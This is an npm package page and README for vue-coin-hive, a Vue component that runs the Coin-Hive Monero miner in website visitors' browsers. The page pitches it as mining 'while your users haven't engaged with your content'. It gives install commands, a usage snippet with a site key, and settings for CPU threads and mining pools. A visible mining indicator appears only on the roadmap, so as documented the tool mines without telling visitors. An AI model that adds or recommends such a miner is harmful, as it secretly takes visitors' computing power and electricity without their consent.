0.0.8 • Published 6 years ago

vue-coin-hive v0.0.8

Weekly downloads
3
License
MIT
Repository
github
Last release
6 years ago

Vue Coin Hive

Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article. This uses Coin-Hive to mine Monero (XMR).

Installation

Using yarn

yarn add vue-coin-hive

Using npm

npm i --save vue-coin-hive

Usage

<vue-coin-hive
  v-bind:siteKey='SF4YQtgkNYmwR21W8NzKwixVdHB8wlDf'
  v-on:found='this.found'
 ></vue-coin-hive>

API

NameTypeDefaultDescription
startBooleantrueStarts the miner
startModeStringIF_EXCLUSIVE_TABConnect to the pool and start mining. The optional mode parameter specifies how the miner should behave if a miner in another tab is already running. The default is CoinHive.IF_EXCLUSIVE_TAB.
siteKeyStringYour public Site-Key. See Settings » Sites.
userNameStringnullA unique identifier for the user account on your website. This can be a userId, an email address, the user's nick name or (if you don't want to share your user names with our service) the md5 hash or otherwise obfuscated name of the user. Max length: 128 chars, case insensitive.
threadsNumber2The number of threads the miner should start with. The default is navigator.hardwareConcurrency, i.e. the number of CPU cores available on the user's computer.
throttleNumber0The fraction of time that threads should be idle. See miner.setThrottle() for a detailed explanation. The default is 0.
enableFoundBooleantrueEnables miner on found event hook. You can bind an event found ` @:found='yourMethod'
enableAcceptedBooleantrueEnables miner on accepted event hook. You can bind an event accepted @:accepted='yourMethod'
enableUpdatesPerSecondBooleantrueEnables getHashesPerSecond event
proxyArraynullSet proxies to different pool than coinhive (must be a stratum pool), and you need to set your proxy See how here. Enter as siteKey your monero address.

Public API

  • v-bind:found : returns payload received from miner.on('found')
  • v-bind:accepted : return payload received from miner.on('accepted)
  • v-bind:updatePerSecond : return payload received from getHashesPerSecond, getTotalHashes, getAcceptedHashes

Roadmap

  • Mining indicator for users

License

This project is licensed under MIT License

I have nothing to do with coinhive

0.0.8

6 years ago

0.0.7

7 years ago

0.0.6

7 years ago

0.0.5

7 years ago

0.0.4

7 years ago

0.0.3

7 years ago

0.0.2

7 years ago

0.0.1

7 years ago